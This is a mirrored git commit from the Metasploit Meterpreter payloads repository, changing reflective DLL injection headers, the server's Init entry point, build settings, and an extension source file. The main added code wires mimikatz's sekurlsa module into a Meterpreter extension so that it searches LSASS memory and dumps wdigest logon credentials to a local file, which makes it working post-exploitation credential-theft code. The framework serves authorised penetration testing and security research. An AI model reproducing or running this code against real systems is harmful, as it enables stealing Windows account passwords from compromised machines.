1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00
This commit is contained in:
Meatballs 2013-04-19 21:45:33 +01:00
parent 979e22f774
commit 21e2b1fecf
9 changed files with 62 additions and 50 deletions

View File

@ -35,15 +35,11 @@
#pragma comment (lib,"Delayimp.lib") #pragma comment (lib,"Delayimp.lib")
// we use this like a macro to set the hook in an server extension that requires it // we use this like a macro to set the hook in an server extension that requires it
#define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c #define EnableDelayLoadMetSrv() PfnDliHook __pfnDliNotifyHook2 = delayHook; // set our delay loader hook, see DelayLoadMetSrv.c
#ifdef __cplusplus extern HMODULE hMetSrv;
extern "C" HMODULE hMetSrv;
extern "C" FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli ); FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
#else
extern HMODULE hMetSrv;
FARPROC WINAPI delayHook( unsigned dliNotify, PDelayLoadInfo pdli );
#endif
//===============================================================================================// //===============================================================================================//
#endif #endif

View File

@ -183,7 +183,7 @@ geteip:
while( usCounter > 0 ) while( usCounter > 0 )
{ {
// compute the hash values for this function name // compute the hash values for this function name
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
// if we have found a function we want we get its virtual address // if we have found a function we want we get its virtual address
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH ) if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
@ -435,22 +435,13 @@ geteip:
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
// you must implement this function... // you must implement this function...
extern DWORD DLLEXPORT Init( SOCKET socket );
#ifdef __cplusplus
extern "C" DWORD DLLEXPORT Init( SOCKET socket );
extern "C" BOOL MetasploitDllAttach( SOCKET socket )
{
Init( socket ) ;
return TRUE;
}
#else
DWORD DLLEXPORT Init( SOCKET socket );
BOOL MetasploitDllAttach( SOCKET socket ) BOOL MetasploitDllAttach( SOCKET socket )
{ {
Init( socket ); Init( socket );
return TRUE; return TRUE;
} }
#endif
BOOL MetasploitDllDetach( DWORD dwExitFunc ) BOOL MetasploitDllDetach( DWORD dwExitFunc )
{ {

View File

@ -63,7 +63,7 @@ __forceinline DWORD ror( DWORD d )
__forceinline DWORD _hash( char * c ) __forceinline DWORD hash( char * c )
{ {
register DWORD h = 0; register DWORD h = 0;
do do

View File

@ -40,13 +40,8 @@ typedef struct command
struct command *prev; struct command *prev;
} Command; } Command;
#ifdef __cplusplus
extern "C" LINKAGE DWORD command_register(Command *command);
extern "C" LINKAGE DWORD command_deregister(Command *command);
#else
LINKAGE DWORD command_register(Command *command); LINKAGE DWORD command_register(Command *command);
LINKAGE DWORD command_deregister(Command *command); LINKAGE DWORD command_deregister(Command *command);
#endif
LINKAGE VOID command_join_threads( VOID ); LINKAGE VOID command_join_threads( VOID );

View File

@ -203,7 +203,7 @@ static void real_dprintf(char *format, ...) {
va_start(args,format); va_start(args,format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args); vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
strcat_s(buffer, sizeof(buffer), "\r\n"); strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer); OutputDebugString(buffer);
} }
#endif #endif

View File

@ -1,18 +1,28 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H #ifndef _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_H
#define _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H #define _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_H
extern "C"
{
#include "../../common/common.h" #include "../../common/common.h"
}
#endif #endif
#include <io.h>
#include <fcntl.h>
#include <iostream>
#include <fstream>
#include "mimikatz.h"
extern "C"
{
#include "modules/mod_mimikatz_sekurlsa.h"
/* Benjamin DELPY `gentilkiwi` /* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com http://blog.gentilkiwi.com
benjamin@gentilkiwi.com benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/ Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/ */
#include "modules/globdefs.h"
#include <io.h>
#include <fcntl.h>
#include "mimikatz.h"
#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h" #include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
@ -20,11 +30,36 @@
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. // second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/ReflectiveLoader.c" #include "../../ReflectiveDLLInjection/ReflectiveLoader.c"
// this sets the delay load hook function, see DelayLoadMetSrv.h // this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv(); EnableDelayLoadMetSrv();
DWORD request_boiler(Remote *remote, Packet *packet) DWORD request_boiler(Remote *remote, Packet *packet)
{ {
packet_transmit_response(0, remote, packet);
FILE *ficheiro = fopen("c:\\test.txt", "wb");
fclose(ficheiro);
std::wofstream logFile( "c:\\out.txt");
std::wstreambuf *outbuf = std::wcout.rdbuf(logFile.rdbuf());
std::wstreambuf *errbuf = std::wcerr.rdbuf(logFile.rdbuf());
vector<wstring> * mesArguments = new vector<wstring>();
mimikatz * myMimiKatz = new mimikatz(mesArguments);
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, wstring(L"wdigest")));
if (mod_mimikatz_sekurlsa::searchLSASSDatas())
{
mod_mimikatz_sekurlsa::getLogonData(mesArguments, &monProvider);
}
std::wcout.rdbuf(outbuf);
std::wcerr.rdbuf(errbuf);
packet_transmit_response(0, remote, packet);
return 0; return 0;
} }
@ -73,6 +108,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
}
//int wmain(int argc, wchar_t * argv[]) //int wmain(int argc, wchar_t * argv[])

View File

@ -1,8 +1,3 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
#define _METERPRETER_SOURCE_EXTENSION_BOILER_BOILER_H
#include "../../common/common.h"
#endif
/* Benjamin DELPY `gentilkiwi` /* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com http://blog.gentilkiwi.com
benjamin@gentilkiwi.com benjamin@gentilkiwi.com

View File

@ -13,21 +13,12 @@
* Entry point for the DLL (or not if compiled as an EXE) * Entry point for the DLL (or not if compiled as an EXE)
*/ */
#ifdef _WIN32 #ifdef _WIN32
#ifdef __cplusplus
extern "C" DWORD __declspec(dllexport) Init(SOCKET fd)
{
return server_setup(fd);
}
#else
DWORD __declspec(dllexport) Init(SOCKET fd) DWORD __declspec(dllexport) Init(SOCKET fd)
{ {
return server_setup(fd); return server_setup(fd);
} }
#endif
#else #else
// rtld dynamically links libc/libm/libcrypto/libssl/metsrv_main // rtld dynamically links libc/libm/libcrypto/libssl/metsrv_main

View File

@ -65,8 +65,8 @@
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(SolutionDir)$(Configuration)\</OutDir> <OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(SolutionDir)$(Configuration)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(Configuration)\</IntDir> <IntDir Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(Configuration)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</LinkIncremental> <LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</LinkIncremental>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(SolutionDir)$(Configuration)\</OutDir> <OutDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\$(Platform)\</OutDir>
<IntDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\</IntDir> <IntDir Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</LinkIncremental> <LinkIncremental Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</LinkIncremental>
<GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</GenerateManifest> <GenerateManifest Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</GenerateManifest>
<OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(SolutionDir)$(Configuration)\$(Platform)\</OutDir> <OutDir Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">$(SolutionDir)$(Configuration)\$(Platform)\</OutDir>
@ -88,6 +88,8 @@
<CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AllRules.ruleset</CodeAnalysisRuleSet> <CodeAnalysisRuleSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|x64'" /> <CodeAnalysisRules Condition="'$(Configuration)|$(Platform)'=='Release|x64'" />
<CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|x64'" /> <CodeAnalysisRuleAssemblies Condition="'$(Configuration)|$(Platform)'=='Release|x64'" />
<TargetName Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">$(ProjectName).x86</TargetName>
<TargetName Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">$(ProjectName).x86</TargetName>
</PropertyGroup> </PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile> <ClCompile>
@ -109,6 +111,9 @@
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies> <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link> </Link>
<PostBuildEvent>
<Command>copy /y "$(OutDir)$(TargetName)$(TargetExt)" "$(ProjectDir)..\..\output\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile> <ClCompile>
@ -150,6 +155,9 @@
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>5.0</MinimumRequiredVersion> <MinimumRequiredVersion>5.0</MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent>
<Command>copy /y "$(OutDir)$(TargetName)$(TargetExt)" "$(ProjectDir)..\..\output\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl> <Midl>